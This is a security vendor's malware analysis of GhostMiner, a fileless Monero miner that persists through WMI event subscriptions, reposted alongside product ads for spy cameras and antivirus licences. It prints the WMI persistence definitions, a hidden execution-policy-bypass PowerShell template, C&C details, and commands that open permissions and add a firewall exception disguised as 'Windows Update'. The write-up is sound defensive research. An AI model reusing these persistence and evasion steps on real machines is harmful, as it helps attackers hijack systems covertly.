Fileless Cryptocurrency-Miner GhostMiner Weaponizes WMI Objects, Kills Other Cryptocurrency-Mining Payloads

Spy Wrist Watch 32GB Mini Hidden Camera Record Video Audio DVR DV Camcorder US

$28.27
End Date: Sunday Oct-27-2019 15:18:16 PDT
Buy It Now for only: $28.27
Buy It Now | Add to watch list

32GB 64GB 128GB Micro Class10 TF Card+DVR Cam Hidden Spy Pen Camera Recorder

$12.53
End Date: Saturday Nov-2-2019 20:08:23 PDT
Buy It Now for only: $12.53
Buy It Now | Add to watch list

By Carl Maverick Pascual (Threats Analyst)

Cybercriminals continue to use cryptocurrency-mining malware to abuse computing resources for profit. As early as 2017, we have also observed how they have applied fileless techniques to make detection and monitoring more difficult.

On August 2, we observed a fileless cryptocurrency-mining malware, dubbed GhostMiner, that weaponizes Windows management instrumentation (WMI) objects for its fileless persistence, payload mechanisms, and AV-evasion capabilities. This GhostMiner variant was also observed to modify infected host files that are heavily used by Mykings, PowerGhost, PCASTLE and BULEHERO, among others.

This malware was observed mining Monero cryptocurrency, however, the arrival details of this variant has not been identified as of writing. An earlier documented sighting of GhostMiner was noted to have used multiple vulnerabilities in MSSQL, phpMyAdmin, and Oracle’s WebLogic to look for and attack susceptible servers.

GhostMiner Details

GhostMiner uses WMI Event Subscriptions to install persistence in an infected machine as well as execute arbitrary code.

Event Filter

\.ROOTsubscription:__EventFilter.Name=”PowerShell Event Log Filter”

EventNamespace : rootcimv2

Query : SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’

QueryLanguage : WQL       

FilterToConsumerBinding

\.ROOTsubscription:__FilterToConsumerBinding.Consumer=”CommandLineEventConsumer.Name=”PowerShell Event Log Consumer””,Filter=”__EventFilter.Name=”PowerShell Event Log Filter””

Consumer : CommandLineEventConsumer.Name=”PowerShell Event Log Consumer”

Filter : __EventFilter.Name=”PowerShell Event Log Filter”

Event Consumer

\.ROOTsubscription:CommandLineEventConsumer.Name=”PowerShell Event Log Consumer”

CommandLineTemplate : C:WindowsSystem32WindowsPowerShellv1.0PowerShell.eXe -NoP -NonI -EP ByPass -W Hidden -E

GhostMiner will also install a WMI class named “PowerShell_Command” at the rootDefault namespace. This WMI class contains the entries Command and CCBot that contains base-64 encoded functions.

When the EventConsumer is triggered, it will read entries from Command and CCBot from the installed WMI “PowerShell_Command” object.

The Command script, when executed, will do the following:

 

FunctionsTask
WMI_KillFakeTerminates processes and deletes corresponding files based on a list of conditions
WMI_KillServiceTerminates services based on a set of conditions
WMI_ScannerTerminates processes of known cryptominers in the process memory
WMI_CheckFileVerifies the integrity of the file it drops

Table 1. List of functions the Command script performs once executed

Aside from the abovementioned functions, the Command script also has a WMI_Killer function, which terminates running processes, and deletes scheduled tasks and services that are associated with cryptocurrency-mining malware families such as:

  1. Mykings
  2. PowerGhost
  3. PCASTLE
  4. BULEHERO
  5. Other generic MALXMR variants used by several malware families, including BlackSquid

Figure 1. List of service names that WMI_Killer terminates and deletes

Fig 2_Fileless Cryptocurrency-Miner GhostMiner Weaponizes WMI Objects

Figure 2. List of scheduled tasks that WMI_Killer deletes

Figure 3. List of cryptocurrency-mining-related processes that the the WMI_Killer terminates

WMI_Killer also terminates TCP traffic that uses a list of cryptocurrency-mining malware’s commonly used ports.

Figure 4. Figure 4. List of ports that the WMI_Killer monitors

Another Command script function, the WMI_CheckHosts, is able to modify the host files of the infected machine and modifies entries that are related to malicious malware such as BULEHERO.

Figure 5. WMI_CheckHosts function that modifies the infected machine’s hosts files based on the mapped entries that are related to its competition

Meanwhile, the CCBOT entry uses two IP addresses, namely 118[.]24[.]63[.]208 and 103[.]105[.]59[.]68, as C&C servers. It uses Base-64 to encode the send command and ROT-13, a letter substitution cipher that changes the 13th letter after it, to decode the received command.

We observed that the backdoor communication is only enabled between 12AM to 5AM. It uses an invoke-expression (IEX) when the C&C server receives a response. Otherwise, it will continuously try to connect to the abovementioned IP addresses every 30 seconds using the “/Update/CC/CC.php” URI path.

Aside from Command and CCBot, The “PowerShell_Command” class also contains the following objects:

Miner :

Ver : (The current version is v2.13.0)

mPId :

nPId :

The miner is a 64-bit payload that is dropped when Command is decoded and executed. However, before it gets dropped, GhostMiner determines the free disk space on the root drive. If the free space is less than 1 GB, it will drop a 10 MB-sized payload. Otherwise, it will drop a 100 MB-sized payload. GhostMiner will then append 2,130 bytes of random value. The file will then be saved as C:WindowsTemplsass.exe.

The malware will then execute the following commands as part of the miner’s execution routine:

                Takeown.exe /f C:WindowsTemp

                iCACLs.exe C:WindowsTemp /Reset /T /C

                iCACLs.exe C:WindowsTemp /Grant Everyone:F /T /C

                iCACLs.exe C:WindowsTemplsass.exe /E /G Everyone:F /C

                NetSH Firewall Add AllowedProgram C:WindowsTemplsass.exe “Windows Update”

                Start-Process –FilePath C:WindowsTemplsass.exe –WindowStyle Hidden –PassThru

As of writing time, the XMR wallet associated with this campaign only has 50.278384965000 XMR (US$3,868.02) in total paid value.

The Trend Micro Deep Discovery Inspector protects customers from threats that may lead to C&C connection and data exfiltration via this DDI rule:

  • 4219: GHOSTMINER – HTTP (Request)

Indicators of Compromise (IoCs)

SHA-256Trend Micro Predictive Machine Learning DetectionTrend Micro Pattern Detection
13a4751b83e53abdf0fb6d5876d6cc9dfbd33e343038dae6951de755d93c8284

 

Troj.Win32.TRX.XXPE50FFF031Coinminer.Win64.MALXMR.TIAOODBZ

 

558914713cf3174c8b489aef12a1a7871ad886bc9483fd7b0790383702bfd75d
7cec25bdb7c3cb2778168e9b02e0fdd608a6c94cb69feba7b4ee647aef0588b1
8ffa7f991637e28fa5b4ae7f5522fe5fee622307bed87d1d478c48fa0696dc5a
a0e0e5d0ff95e3193ed0999234588e3327ea8d759316a0d1175c5084daf5b083Coinminer.Win64.MALXMR.TIAOODC
aa16c957a85ecedaac9f629082913dfdaefe95b8b8191d7cb3e8c02da2963452 

Coinminer.Win64.MALXMR.TIAOODBZ

 

 

The post Fileless Cryptocurrency-Miner GhostMiner Weaponizes WMI Objects, Kills Other Cryptocurrency-Mining Payloads appeared first on .

2019 ESET NOD32 Antivirus 2019 -3 Computers 3 years - Instant Delivery via Email

$5.99
End Date: Wednesday Nov-13-2019 11:46:44 PST
Buy It Now for only: $5.99
Buy It Now | Add to watch list

KASPERSKY INTERNET SECURITY 2020 1 PC DEVICE 1 YEAR BEST ANTIVIRUS LICENSE

$4.19
End Date: Monday Oct-28-2019 8:34:02 PDT
Buy It Now for only: $4.19
Buy It Now | Add to watch list